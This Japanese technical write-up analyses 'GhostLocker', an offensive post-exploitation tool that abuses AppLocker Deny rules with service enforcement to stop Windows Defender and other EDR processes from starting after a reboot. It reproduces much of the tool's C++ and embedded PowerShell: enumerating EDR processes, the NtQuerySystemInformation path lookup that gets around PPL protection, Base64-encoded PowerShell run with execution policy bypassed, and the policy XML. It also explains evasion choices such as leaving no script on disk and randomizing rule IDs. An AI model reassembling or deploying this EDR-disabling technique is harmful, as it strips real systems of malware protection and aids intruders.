- 1. ツール全体の目的と攻撃フロー
- 2. ファイル構成と役割
- 3. ntdefs.h — 未公開API定義の意図
- 4. main.cpp — 動的列挙版の詳細解析
- 5. main_improved.cpp — ワイルドカード版との差分
- 6. AppLockerポリシーXMLの構造と設計意図
- 7. ポリシー適用からEDR無力化までのタイムライン
- 8. 2版の比較と攻撃的観点でのトレードオフ
- 9. コード上の弱点・改善余地
- 10. リファレンス一覧
1. ツール全体の目的と攻撃フロー
GhostLockerは以下の一連の攻撃フローを自動化するツールです。
[管理者権限取得済み]
│
▼
(1) EDRプロセスの特定・パス取得
│
▼
(2) AppLocker Denyルールを含むXMLポリシーの生成
│
▼
(3) PowerShellスクリプトをBase64エンコードしてインメモリ実行
│
▼
(4) Set-AppLockerPolicy でポリシー適用 → gpupdate /force
│
▼
(5) 再起動後、EDRユーザーランドプロセスの起動がカーネルレベルでブロック
│
▼
(6) EDRカーネルドライバはテレメトリ収集を継続するが
ユーザーランド分析エンジン不在のため検知能力喪失
重要な前提として、このツールは管理者権限を既に保持しているポストエクスプロイテーションのフェーズで使用されます。権限昇格そのものは本ツールのスコープ外です。
AppLocker自体はWindows 7(2009年)から存在する古い機能ですが(→ [Ref.3])、EDRのユーザーランドプロセスをDenyルールでブロックして再起動後に無力化するという具体的な攻撃用途の自動化・最適化(動的列挙版+ワイルドカード版、PPL回避、Services Enforcement有効化)は、GhostLocker(およびインスパイア元のdiversenok(→ [Ref.2])の指摘)が初めて体系的に実装・公開した比較的新しいアプローチです。従来のEDRバイパス(BYOVD、unhooking、IFEOなど)と比べ、「合法的なWindows管理機能」を悪用する点が特徴です。
2. ファイル構成と役割
| ファイル | 役割 |
|---|---|
ntdefs.h |
未公開のNT API構造体・列挙型の定義。Windows SDKには含まれない型を手動定義 |
main.cpp |
動的列挙版。実行中のEDRプロセスを列挙し、フルパスを取得してDenyルールを生成 |
main_improved.cpp |
ワイルドカード版。プロセス列挙を省略し *\exe名 のワイルドカードルールを静的に生成 |
3. ntdefs.h — 未公開API定義の意図
UNICODE_STRING構造体(ntdefs.h 4-9行目)
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; } UNICODE_STRING, * PUNICODE_STRING;
これはNTカーネル内部で文字列を表現する標準的な構造体です。Win32 APIの LPWSTR(NUL終端ワイド文字列)とは異なり、Length フィールドで文字列長をバイト単位で明示的に管理します。NUL終端を前提としないため、カーネル内部ではバッファオーバーリードのリスクが低い設計です。
_Field_size_bytes_part_opt_ は SAL(Source Annotation Language)アノテーションで、静的解析ツール向けにバッファサイズの制約を表現しています。コンパイル結果には影響しません。SALアノテーションの詳細はMicrosoft公式ドキュメントを参照してください(→ [Ref.22])。
SYSTEM_PROCESS_ID_INFORMATION構造体(ntdefs.h 11-15行目)
typedef struct SYSTEM_PROCESS_ID_INFORMATION { ULONGLONG ProcessId; UNICODE_STRING ImageName; } *PSYSTEM_PROCESS_ID_INFORMATION;
この構造体は NtQuerySystemInformation の情報クラス SystemProcessIdInformation(0x58 = enum値88)に対応する入出力バッファです。ProcessId にPIDを入力として渡すと、ImageName にそのプロセスのイメージパスがNTデバイスパス形式で返されます。
Geoff Chappell氏の逆アセンブリ解析(→ [Ref.1c])によれば、この構造体は32ビットで0x0C、64ビットで0x18バイトのサイズを持ちます。入力時に Length は0でなければならず、MaximumLength は2の倍数、Buffer はユーザーモードアドレス空間内に収まる必要があります。成功時に Length と MaximumLength にコピーされた名前の情報が設定されます。プロセスに名前がない場合は MaximumLength が0に、Buffer がNULLにクリアされます。
なぜこれがntdefs.hに手動定義されているか: この情報クラスはMicrosoftの公式SDKヘッダ(winternl.h)には含まれていません。公式ドキュメント(→ [Ref.5])では NtQuerySystemInformation 自体は記載されていますが、SystemProcessIdInformation は未公開の情報クラスとして一切記載がありません。ReactOS、Process Hacker(現System Informer)、phntプロジェクト(→ [Ref.1a])等のリバースエンジニアリングコミュニティで解析された定義に基づいています。NtDoc(→ [Ref.1b])はphntヘッダベースのオンラインリファレンスで、各情報クラスの詳細を確認できます。
SYSTEM_INFORMATION_CLASS列挙型(ntdefs.h 24-281行目)
この巨大な列挙型は NtQuerySystemInformation の第1引数として渡す情報クラスの全リストです。本ツールで使用されるのは SystemProcessIdInformation(87番目のエントリ、ntdefs.h 114行目)のみです。
SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION
ファイル全体で280以上のエントリが定義されていますが、これはphnt(Process Hacker Native API headers)プロジェクト(→ [Ref.1a])からの引用と思われます。各エントリのコメントには、対応する構造体名、読み取り(q)/書き込み(s)/読み書き(qs)の区別、必要な特権、対応するWindows バージョンが記載されています。
4. main.cpp — 動的列挙版の詳細解析
4.1 ターゲット定義とプロセスマッチング
ターゲット配列(main.cpp 22-28行目)
const wchar_t* targetNames[] = { L"MpDefenderCoreService.exe", L"MsMpEng.exe", L"WinDefend.exe", };
これらはWindows Defenderの主要なユーザーランドプロセスです。
- MsMpEng.exe: Microsoft Malware Protection Engine。Defenderのコアスキャンエンジンで、リアルタイム保護、オンデマンドスキャン、ヒューリスティック分析を担います。PPL(Protected Process Light)として動作し(→ [Ref.8a])、通常の
OpenProcessによる操作が拒否されます(→ [Ref.8b])。Microsoft Defender for Endpointのアーキテクチャ詳細は公式ドキュメントを参照してください(→ [Ref.12])。 - MpDefenderCoreService.exe: Windows 11で導入されたDefenderの新しいコアサービスプロセスで、MsMpEngの一部機能を分離したものです。
- WinDefend.exe: Windows Defenderサービスのホストプロセス。SCM(Service Control Manager)経由でサービスとして起動されます。
コメント // Can be extended が示す通り、他のEDR製品のプロセス名をこの配列に追加することで、任意のEDR製品に対して適用可能です。
ターゲット数の算出(main.cpp 30行目)
const size_t targetCount = sizeof(targetNames) / sizeof(targetNames[0]);
配列全体のバイトサイズを1要素のバイトサイズで除算し、要素数を算出するC/C++の定型パターンです。ハードコードされた数値ではなく、配列に要素を追加しても自動的に正しい数を返します。
マッチング関数(main.cpp 231-239行目)
bool isTargetProcess(const wchar_t* exeName) { for (size_t i = 0; i < targetCount; i++) { if (_wcsicmp(exeName, targetNames[i]) == 0) return true; } return false; }
_wcsicmp はワイド文字列の大文字小文字を無視した比較を行うCRT関数です。Windows上のプロセス名は表示上の大文字小文字が一致しない場合があるため(例: タスクマネージャでは msmpeng.exe と表示されることがある)、case-insensitiveな比較が必要です。
4.2 プロセス列挙 — findTargetsAndQueryPaths()
main.cpp 241-271行目
void findTargetsAndQueryPaths() { HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snap == INVALID_HANDLE_VALUE) return; PROCESSENTRY32W pe; pe.dwSize = sizeof(pe); if (Process32FirstW(snap, &pe)) { do { if (isTargetProcess(pe.szExeFile)) { printf( GREEN "[+] Found Target Process\n" RESET YELLOW " Name: " RESET "%ws\n" YELLOW " PID: " RESET "%lu\n", pe.szExeFile, pe.th32ProcessID ); printf("\n"); FuncNtQuerySystemInformation(pe.th32ProcessID); } } while (Process32NextW(snap, &pe)); } CloseHandle(snap); }
ステップ解説:
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)— システム上の全プロセスのスナップショットを取得します(→ [Ref.11])。TH32CS_SNAPPROCESSフラグはプロセス一覧の取得を指示します。第2引数の0はプロセスIDフィルタですが、TH32CS_SNAPPROCESSでは無視されます。なぜToolhelp32か: この API は低特権プロセスからでも呼び出せます。
EnumProcesses(PSAPI)も同様の機能を提供しますが、Toolhelp32 はプロセス名を直接返すため追加のOpenProcess+QueryFullProcessImageNameが不要です。EDRプロセスは PPL で保護されておりOpenProcessが失敗するため(→ [Ref.8b])、ハンドルを開かずにプロセス名だけを取得できる Toolhelp32 は理に適った選択です。pe.dwSize = sizeof(pe)—PROCESSENTRY32W構造体のdwSizeメンバにサイズを設定します。Win32 APIの多くの構造体は、バージョニングのために先頭にサイズフィールドを持ち、これを設定しないと API が失敗します。Process32FirstW/Process32NextW— スナップショット内のプロセスエントリを順次走査します。pe.szExeFileには実行ファイル名のみ(パスなし)が格納されます。例えばMsMpEng.exeは返りますが、C:\ProgramData\Microsoft\Windows Defender\Platform\...\MsMpEng.exeは返りません。ターゲット発見時 —
FuncNtQuerySystemInformation(pe.th32ProcessID)を呼んでフルパスを取得します。Toolhelp32はファイル名しか返さないため、AppLockerのパスベースルールに必要なフルパスは別の手段で取得する必要があります。ANSI エスケープコード —
GREEN,YELLOW,CYAN,RESETマクロ(main.cpp 12-16行目で定義)はVT100エスケープシーケンスで、Windows 10以降のコンソールでカラー出力を実現します。ツールの出力を視認しやすくするためのもので、機能的な意味はありません。
4.3 NtQuerySystemInformationによるパス解決
main.cpp 175-228行目
bool FuncNtQuerySystemInformation(ULONGLONG PID) { NTSTATUS status; HMODULE ntdll = GetModuleHandleA("ntdll.dll"); if (!ntdll) return false; _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation"); if (!NtQuerySystemInformation) return false;
動的解決を行う理由: NtQuerySystemInformation は ntdll.dll からエクスポートされていますが、Windows SDK のインポートライブラリ(ntdll.lib)を直接リンクするのは一般的ではありません。GetModuleHandleA は既にプロセスにロードされた DLL のハンドルを返します(ntdll.dll は全プロセスに常にロードされている)。GetProcAddress で関数ポインタを取得し、型定義 _NtQuerySystemInformation(main.cpp 153-158行目)でキャストしています。
公式ドキュメント(→ [Ref.5])には NtQuerySystemInformation について「将来のバージョンで変更または利用不可能になる可能性がある」との警告がありますが、実際には数十年にわたって安定して利用可能であり、セキュリティツールやシステム管理ツールで広く使用されています。
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
この関数ポインタ型は NtQuerySystemInformation のシグネチャと一致します。NTAPI は __stdcall 呼出規約を示し、NTカーネルAPIの標準です。
void* allocBuffer = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, 1024); if (!allocBuffer) return false; SYSTEM_PROCESS_ID_INFORMATION spi = { 0 }; spi.ProcessId = PID; spi.ImageName.MaximumLength = 1024; spi.ImageName.Buffer = (PWSTR)allocBuffer;
バッファ準備: LocalAlloc で1024バイトのゼロ初期化済みバッファを確保し、UNICODE_STRING の Buffer に設定します。MaximumLength = 1024 はAPIに「ここまで書き込んでよい」というバッファサイズを伝えます。1024バイトは512文字分(UTF-16LEは1文字2バイト)であり、通常のWindowsパスには十分ですが、MAX_PATH(260文字 = 520バイト)を超える長いパスでは不足する可能性があります。Geoff Chappell氏の解析(→ [Ref.1c])によれば、MaximumLength が不足した場合は STATUS_INFO_LENGTH_MISMATCH が返され、出力の MaximumLength に必要なサイズが格納されるため、リトライが可能です。
status = NtQuerySystemInformation( SystemProcessIdInformation, &spi, sizeof(spi), 0 );
呼び出し: 情報クラス SystemProcessIdInformation を指定し、spi 構造体を入出力バッファとして渡します。呼び出し成功時、spi.ImageName.Buffer にNTデバイスパス形式の文字列が、spi.ImageName.Length に実際のバイト長が格納されます。
なぜこのAPIを選択するか: EDR プロセスの多くは PPL(Protected Process Light)として動作しています(→ [Ref.8a])。通常のプロセスから PPL プロセスに対して OpenProcess(PROCESS_QUERY_INFORMATION, ...) を呼ぶと STATUS_ACCESS_DENIED で拒否されます(→ [Ref.8b])。QueryFullProcessImageNameW はプロセスハンドルを必要とするため、PPL に対しては使用不可能です。
一方、NtQuerySystemInformation(SystemProcessIdInformation, ...) はプロセスハンドルを一切必要としません。PID を渡すだけでイメージパスを返します。これはカーネル内部で EPROCESS 構造体から直接パス情報を読み取るためであり、プロセスのセキュリティ記述子による保護を迂回できます。この特性が、PPL で保護されたEDRプロセスのパスを取得するためにこのAPIが選ばれた本質的な理由です。TheWover氏のGist(→ [Ref.6])にこの手法の実装例があります。
if (status != 0) { printf(RED " [-] Query failed (NTSTATUS: 0x%08X)\n" RESET, status); LocalFree(allocBuffer); return false; } std::wstring ntPath(spi.ImageName.Buffer, spi.ImageName.Length / sizeof(WCHAR)); std::wstring win32Path = ForceHarddiskVolumeToC(ntPath); g_Win32Paths.push_back(win32Path);
spi.ImageName.Length はバイト単位なので、sizeof(WCHAR) で割ってワイド文字数を得ます。取得したパスを ForceHarddiskVolumeToC でWin32パスに変換し、グローバルベクタ g_Win32Paths(main.cpp 19行目)に格納します。
4.4 NTパス→Win32パス変換の問題点
main.cpp 160-172行目
std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath) { const std::wstring prefix = L"\\Device\\HarddiskVolume3\\"; if (ntPath.rfind(prefix, 0) == 0) { std::wstring rest = ntPath.substr(prefix.length()); return L"C:\\" + rest; } return ntPath; }
NtQuerySystemInformation が返すパスはNTデバイスパス形式です(例: \Device\HarddiskVolume3\Windows\System32\MsMpEng.exe)。AppLockerのFilePathRuleはWin32パス形式(C:\Windows\System32\MsMpEng.exe)を要求するため、変換が必要です。
問題点: HarddiskVolume3 がハードコードされています。Windowsでは物理ディスクのパーティション構成によってボリューム番号が変わります。例えば、EFI System Partition がVolume1、Recovery がVolume2、OS がVolume3 というのは典型的ですが、RAID構成、マルチディスク、仮想ディスクなどの環境では異なる番号になります。
本来あるべき実装: QueryDosDeviceW(→ [Ref.9])で全ドライブレターを列挙し、各ドライブレターに対して QueryDosDevice(L"C:", ...) でNTデバイスパスのプレフィクスを取得し、マッチングさせるべきです。または GetVolumePathNamesForVolumeName を使うアプローチもあります。
ntPath.rfind(prefix, 0) == 0 は「文字列の先頭(位置0)からプレフィクスを逆方向検索して位置0で見つかる = 先頭がプレフィクスと一致する」というイディオムで、C++17の starts_with に相当します。マッチしない場合はNTパスがそのまま返されますが、これではAppLockerルールが正しく機能しません。
4.5 PowerShell配列の構築
BuildPowerShellArray()(main.cpp 273-289行目)
std::wstring BuildPowerShellArray() { if (g_Win32Paths.empty()) return L""; std::wstring output; for (size_t i = 0; i < g_Win32Paths.size(); i++) { output += L"\\\"" + g_Win32Paths[i] + L"\\\""; if (i + 1 < g_Win32Paths.size()) output += L","; } return output; }
この関数は 表示用 の文字列を構築しています(main.cpp 397行目の wprintf で使用)。エスケープされた引用符 \" で各パスを囲んでいます。
BuildPowerShellExeArray()(main.cpp 291-308行目)
std::wstring BuildPowerShellExeArray() { if (g_Win32Paths.empty()) return L"@()"; std::wstring result = L"@("; for (size_t i = 0; i < g_Win32Paths.size(); ++i) { result += L"\""; result += g_Win32Paths[i]; result += L"\""; if (i + 1 < g_Win32Paths.size()) result += L","; } result += L")"; return result; }
こちらが 実際にPowerShellスクリプト内で使用される 配列式です。PowerShellの配列リテラル @("path1","path2") 形式を生成します。空の場合は @() を返し、PowerShell側の foreach ループが何もせず正常に完了するようにしています。
2つの関数が存在する理由: BuildPowerShellArray はコンソール出力用(ユーザーに何が渡されるか確認させる)、BuildPowerShellExeArray はスクリプト埋め込み用という用途の分離です。
4.6 Base64エンコードとインメモリ実行
Base64Encode()(main.cpp 324-355行目)
std::wstring Base64Encode(const BYTE* data, size_t len) { static const wchar_t* base64_chars = L"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; std::wstring result; result.reserve((len + 2) / 3 * 4); for (size_t i = 0; i < len; i += 3) { unsigned char b1 = data[i]; unsigned char b2 = (i + 1 < len) ? data[i + 1] : 0; unsigned char b3 = (i + 2 < len) ? data[i + 2] : 0; unsigned int triple = (b1 << 16) | (b2 << 8) | b3; result.push_back(base64_chars[(triple >> 18) & 0x3F]); result.push_back(base64_chars[(triple >> 12) & 0x3F]); if (i + 1 < len) result.push_back(base64_chars[(triple >> 6) & 0x3F]); else result.push_back(L'='); if (i + 2 < len) result.push_back(base64_chars[triple & 0x3F]); else result.push_back(L'='); } return result; }
標準的なBase64エンコード実装です。3バイトを4文字に変換し、端数バイトは = でパディングします。
なぜ自前実装か: Windows API には CryptBinaryToStringW という Base64 エンコード関数がありますが、依存を減らすために自前で実装しています。result.reserve((len + 2) / 3 * 4) で出力サイズを事前確保し、再アロケーションを防いでいます。
なぜ std::wstring で返すか: 生成される Base64 文字列はASCII互換の文字のみで構成されますが、最終的に ShellExecuteW のワイド文字列パラメータとして渡すため、wstring で構築しています。
RunPowerShellInMemory()(main.cpp 358-385行目)
void RunPowerShellInMemory() { if (g_Win32Paths.empty()) { printf("[-] No Win32 paths collected, skipping PowerShell.\n"); return; } std::wstring script = BuildFullPowerShellScript(); const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str()); size_t byteLen = script.size() * sizeof(wchar_t); std::wstring encoded = Base64Encode(bytes, byteLen); std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand "; params += encoded; ShellExecuteW( NULL, L"runas", // Admin L"powershell.exe", params.c_str(), NULL, SW_SHOW ); }
ステップ解説:
スクリプト構築:
BuildFullPowerShellScript()(main.cpp 311-322行目)は$ExeToBlock = @("path1","path2")というPowerShell変数宣言と、g_PowerShellBody(後述のXMLポリシー生成スクリプト)を連結した完全なスクリプトを返します。UTF-16LEバイト列への変換:
script.c_str()はwchar_t*(Windowsでは2バイト = UTF-16LE)を返します。これをBYTE*にキャストし、バイト長はscript.size() * sizeof(wchar_t)で算出します。PowerShellの-EncodedCommandはUTF-16LEのBase64エンコードを仕様として要求するため(→ [Ref.10a])、このエンコーディングは必須です。UTF-8で渡すとPowerShellがデコードに失敗します。文字列エンコーディングの詳細は公式ドキュメントを参照してください(→ [Ref.10b])。コマンドラインパラメータ:
-NoProfile: ユーザーのPowerShellプロファイル($PROFILE)を読み込みません。プロファイルにログ出力やセキュリティ監視のフックが仕込まれている可能性を排除するためです。-ExecutionPolicy Bypass: スクリプト実行ポリシーを無視します。企業環境ではRestrictedやAllSignedに設定されていることがあり、これを迂回します。-ExecutionPolicyはプロセスレベルの設定であり、永続的なポリシー変更は行いません。-EncodedCommand: Base64エンコードされたコマンドを受け取ります。コマンドライン引数の文字数制限(約32,767文字)以内であれば任意の長さのスクリプトを渡せます。また、特殊文字のエスケープ問題を回避できます。
ShellExecuteWのrunas動詞(→ [Ref.13]): UAC(User Account Control)ダイアログを表示し、管理者権限への昇格を要求します。AppLockerポリシーの適用(Set-AppLockerPolicy)には管理者権限が必須です。SW_SHOW: ウィンドウを表示状態で起動します。これはPoC(概念実証)的な実装であり、実運用ではSW_HIDEにしてウィンドウを非表示にするのが一般的です。
「インメモリ実行」の意味: スクリプト全体がBase64エンコードされてコマンドライン引数として渡されるため、ディスク上に .ps1 ファイルが作成されません。フォレンジック観点では、ディスク上のスクリプトファイルとして残らないため、ファイルベースの検知(EDRのファイルスキャン、Sysmonのファイル作成ログ等)を回避できます。ただし、コマンドラインはプロセス作成イベント(Event ID 4688、Sysmon Event ID 1)に記録されるため、Base64文字列としてログに残る可能性があります。また、AMSI(Antimalware Scan Interface)(→ [Ref.14])はBase64デコード後のスクリプト内容を検査できるため、AMSIが有効な環境ではスクリプト内容が検知される可能性もあります。
4.7 埋め込みPowerShellスクリプト本体
g_PowerShellBody(main.cpp 33-149行目)
このPowerShellスクリプトはC++のraw string literal LR"(...)" として埋め込まれています。
パス検証(main.cpp 43-48行目)
foreach ($exe in $ExeToBlock) {
if (!(Test-Path $exe)) {
Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
exit 1
}
}
動的列挙版(main.cpp)では、実行中のプロセスから取得したフルパスを使用するため、パスの存在確認を行います。ファイルが存在しない場合はスクリプトを中断します。
注意点: ワイルドカード版(main_improved.cpp)ではこの検証が 削除されています(improved版のコメント: # No validation needed for wildcard paths like '*\MsMpEng.exe')。Test-Path はワイルドカードパスに対して予期しない動作をする可能性があるためです。
GUIDの生成(main.cpp 50-56行目)
$guidAllowExeSigned = [guid]::NewGuid().ToString() $guidAllowExeAllPath = [guid]::NewGuid().ToString() $guidAllowMsiSigned = [guid]::NewGuid().ToString() $guidAllowMsiAllPath = [guid]::NewGuid().ToString() $guidAllowScript = [guid]::NewGuid().ToString() $guidAllowAppx = [guid]::NewGuid().ToString()
AppLockerの各ルールには一意のIDが必要です。実行の度に新しいGUIDを生成することで、ルールIDの衝突を防ぎます。静的なIDを使うと、既存ポリシーとの重複や、フォレンジック上の指紋(IoC)になり得ます。
動的Denyルールの構築(main.cpp 58-68行目)
$dynamicBlockRules = ''
foreach ($exe in $ExeToBlock) {
$id = [guid]::NewGuid().ToString()
$name = Split-Path $exe -Leaf
$dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name + ...
$dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
$dynamicBlockRules += '</FilePathRule>'
}
$ExeToBlock 配列の各要素に対して、AppLockerの FilePathRule XML要素を文字列連結で構築します。Split-Path $exe -Leaf はパスからファイル名部分のみを取得し、ルールの Name 属性に使用します(人間が管理コンソールで見た時の表示名)。AppLockerのルールタイプの詳細は公式ドキュメント(→ [Ref.3])を参照してください。
ポリシー適用(main.cpp 135-148行目)
$tempPath = [System.IO.Path]::GetTempFileName() Set-Content -Path $tempPath -Value $xml -Encoding UTF8 Write-Host '[*] Applying AppLocker policy...' Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop Remove-Item $tempPath -Force gpupdate /force | Out-Null
一時ファイル作成:
[System.IO.Path]::GetTempFileName()は%TEMP%ディレクトリに一意のファイル名で空ファイルを作成します。Set-AppLockerPolicy(→ [Ref.4b])はファイルパスを要求するため、スクリプトから直接XMLを渡すことはできず、一旦ファイルに書き出す必要があります。Set-AppLockerPolicy -XmlPolicy $tempPath: AppLocker PowerShell モジュール(AppLockerモジュール)のコマンドレットで、XML形式のポリシーをシステムに適用します(→ [Ref.4b])。内部的には、XMLを解析してレジストリ(HKLM\Software\Policies\Microsoft\Windows\SrpV2)に書き込み、AppIDSvcサービスにポリシー変更を通知します。Remove-Item $tempPath -Force: 一時ファイルを削除します。フォレンジック上のアーティファクト削減が目的です。ただし、$TEMPの削除済みファイルはNTFSジャーナル($UsnJrnl)やMFTレコードに痕跡が残る可能性があります。gpupdate /force: グループポリシーの強制更新を実行します。AppLockerポリシーはグループポリシーの一部として管理されるため、変更を即座に反映させるために必要です。| Out-Nullで標準出力を破棄しています。
4.8 main()のエントリポイント
main.cpp 388-408行目
int main() { findTargetsAndQueryPaths(); std::wstring psArg = BuildPowerShellArray(); if (!psArg.empty()) { wprintf(L"\n" CYAN L"[+] PowerShell Input: " RESET L"%ws\n", psArg.c_str()); RunPowerShellInMemory(); } else { printf(RED "[-] No paths found.\n" RESET); } getchar(); return 0; }
実行フローは以下のとおりです。
findTargetsAndQueryPaths()でEDRプロセスの列挙とパス取得を行い、g_Win32Pathsに格納BuildPowerShellArray()で表示用文字列を構築し、パスが見つかったか判定- パスが見つかった場合、
RunPowerShellInMemory()でポリシー適用を実行 getchar()でキー入力を待機(コンソールウィンドウが即座に閉じるのを防止。デバッグ/デモ用途)
5. main_improved.cpp — ワイルドカード版との差分
削除されたコード
main_improved.cpp では以下が完全に削除されています。
#include "ntdefs.h"— 未公開API定義が不要に#include <TlHelp32.h>— Toolhelp32プロセス列挙が不要に(→ [Ref.11])#include <vector>— パス格納用ベクタが不要にg_Win32PathsグローバルベクタForceHarddiskVolumeToC()— NT→Win32パス変換FuncNtQuerySystemInformation()— NtQuerySystemInformation呼び出し(→ [Ref.5])isTargetProcess()— プロセス名マッチングfindTargetsAndQueryPaths()— プロセス列挙ループBuildPowerShellArray()— 表示用配列構築
変更されたBuildPowerShellExeArray()(main_improved.cpp 141-158行目)
std::wstring BuildPowerShellExeArray() { if (targetCount == 0) return L"@()"; std::wstring result = L"@("; for (size_t i = 0; i < targetCount; ++i) { result += L"\"*\\"; result += targetNames[i]; result += L"\""; if (i + 1 < targetCount) result += L","; } result += L")"; return result; }
変更の核心: g_Win32Paths(実行中プロセスから取得した絶対パス)の代わりに、targetNames 配列の各エントリに *\\ プレフィクスを付けてワイルドカードパスを生成しています。
例: targetNames[1] = L"MsMpEng.exe" → "*\\MsMpEng.exe" → AppLockerは任意のディレクトリにある MsMpEng.exe をブロック
AppLockerのワイルドカード仕様: * は0文字以上の任意の文字列にマッチします。*\MsMpEng.exe は「任意のディレクトリパスの末尾が \MsMpEng.exe であるファイル」にマッチします。AppLockerのパスベースルールにおけるワイルドカードの使用方法の詳細は公式ドキュメント(→ [Ref.3])を参照してください。これにより、EDRのインストールパスが不明でも、また将来的にパスが変更されてもルールが有効に機能します。このアプローチのきっかけはdiversenok氏(→ [Ref.2])の指摘によるものです。
PowerShellスクリプトの差分
main_improved.cpp の g_PowerShellBody では、パス検証ブロックが削除されています。
# No validation needed for wildcard paths like '*\MsMpEng.exe'
Test-Path '*\MsMpEng.exe' はファイルシステム上のグロブ展開として解釈され、ワイルドカードに一致するファイルが存在すれば $true、しなければ $false を返します。しかし、意図としては「このパターンのバイナリが存在するか」ではなく「このパターンをAppLockerルールに使いたい」なので、検証自体が不適切です。
SIDの変更(main_improved.cpp 52行目)
# main.cpp: UserOrGroupSid="S-1-1-0" (Everyone = 全ユーザー) # improved版: UserOrGroupSid="S-1-5-18" (Local System)
improved版のDenyルールは S-1-5-18(Local System)に対して適用されます。EDRプロセスの多くはSYSTEMアカウントで動作するため、より正確なターゲティングです。一方、main.cppでは S-1-1-0(Everyone)を使っており、全ユーザーコンテキストでブロックします。SIDの一覧と意味はMicrosoftの公式ドキュメント(→ [Ref.15])を参照してください。
6. AppLockerポリシーXMLの構造と設計意図
6.1 RuleCollection全体の構成
ポリシーXMLには5つの RuleCollection が含まれています。
| RuleCollection Type | EnforcementMode | 目的 |
|---|---|---|
| Appx | NotConfigured | UWPアプリは制御しない(副作用防止) |
| Dll | NotConfigured | DLL制御は無効(パフォーマンスへの影響大) |
| Exe | Enabled | EXEルールのみアクティブに強制 |
| Msi | NotConfigured | インストーラは制御しない |
| Script | NotConfigured | スクリプトは制御しない |
Exe のみ Enabled にすることで、影響範囲を最小限に抑えつつEDRプロセスのみをブロックします。DLL を Enabled にするとシステム全体のパフォーマンスが大幅に低下します(全DLLロードの度にルール評価が走るため)。AppLockerのルールコレクションの種類と強制モードの詳細は公式ドキュメント(→ [Ref.3])を参照してください。
6.2 Denyルールの動的生成
Exe RuleCollection内のルール配置順は以下の通りです。
1. Allow: FilePublisherRule (全署名付きEXE) 2. Deny: FilePathRule (ターゲットEDRバイナリ) ← 動的に挿入 3. Allow: FilePathRule (Path="*", フォールバック)
AppLockerのルール評価ロジックでは Deny が常に Allow に優先 します(→ [Ref.3])。したがって、ターゲットEDRバイナリはDenyルールにマッチした時点でブロックされ、後続のAllowルールは評価されません。
フォールバックの Allow Path="*" は、Denyルールにマッチしない全てのEXEの実行を許可します。これがないと、AppLockerの Enabled モードでは明示的にAllowされていないEXEは全てブロックされるため、システムが正常に動作しなくなります。
AppLockerのXMLポリシースキーマの完全な定義はMattifestation氏のGist(→ [Ref.7])で確認できます。
6.3 サービスプロセス強制の有効化
<RuleCollectionExtensions> <ThresholdExtensions> <Services EnforcementMode="Enabled"/> </ThresholdExtensions> <RedstoneExtensions> <SystemApps Allow="Enabled"/> </RedstoneExtensions> </RuleCollectionExtensions>
ThresholdExtensions > Services EnforcementMode="Enabled": AppLockerのルール評価をサービスプロセス(SCM経由で起動されるプロセス)にも適用します。デフォルトでは無効であり、EDRサービスはこの設定なしにはブロックできません。
RedstoneExtensions > SystemApps Allow="Enabled": システムアプリ(svchost.exe、csrss.exe 等)の実行を許可します。これがないと、サービス強制を有効にした時点で重要なシステムプロセスもブロックされ、OSが起動不能になる可能性があります。
Microsoft公式ドキュメント(→ [Ref.4a])には以下の重要な警告が記載されています: 「RuleCollectionExtensionsを追加する場合は、ThresholdExtensionsとRedstoneExtensionsの両方を含めなければなりません。そうしないとポリシーが予期しない動作を引き起こします。」 この2つの設定の組み合わせが「サービスとして動作するEDRをブロックしつつ、OS自体は正常に動作させる」ために不可欠です。
この拡張はWindows 10、Windows 11、およびWindows Server 2016以降でのみサポートされています(→ [Ref.4a])。
6.4 SID選択の違いと影響
| SID | 名前 | 適用範囲 | 使用バージョン |
|---|---|---|---|
S-1-1-0 |
Everyone | 全ユーザー・全セッション | main.cpp |
S-1-5-18 |
Local System | SYSTEM アカウントのみ | main_improved.cpp |
S-1-1-0 (Everyone) の利点: EDRが仮にSYSTEM以外のアカウント(例: NetworkService、専用サービスアカウント)で動作している場合でも確実にブロックできます。
S-1-5-18 (Local System) の利点: SYSTEM以外のユーザーが同名の正規バイナリを実行する場合に影響を与えません。精度が高い反面、EDRが別アカウントで動作する場合はすり抜けます。
Well-Known SIDの定義はMicrosoft公式ドキュメント(→ [Ref.15])を参照してください。
7. ポリシー適用からEDR無力化までのタイムライン
T+0: GhostLocker実行
└→ プロセス列挙 + パス取得(数ミリ秒)
T+1s: PowerShellスクリプト実行開始
└→ UAC昇格ダイアログ(ユーザー操作待ち)
T+2s: Set-AppLockerPolicy 実行
└→ XMLポリシーがレジストリ(SrpV2キー)に書き込まれる
└→ AppIDSvc がポリシー変更を検知
└→ AppID.sys にIOCTL経由で新ポリシーが伝達される
T+3s: gpupdate /force 実行
└→ グループポリシーの即時反映
T+3s〜再起動前:
EDRプロセスは依然として動作中(AppLockerは実行中プロセスを終了しない)
新規のEDRプロセス起動は既にブロックされる
再起動後:
SCM がEDRサービスを起動しようとする
└→ AppID.sys がプロセス生成コールバックでルール評価
└→ Denyルールにマッチ → STATUS_ACCESS_DISABLED_BY_POLICY_OTHER
└→ サービス起動失敗
EDRカーネルドライバ(.sys)は正常にロードされる(AppLockerはユーザーモードのみ)
└→ テレメトリ収集は継続するが、ユーザーランド分析エンジン不在
└→ 検知・アラート・レスポンスの全機能が実質的に停止
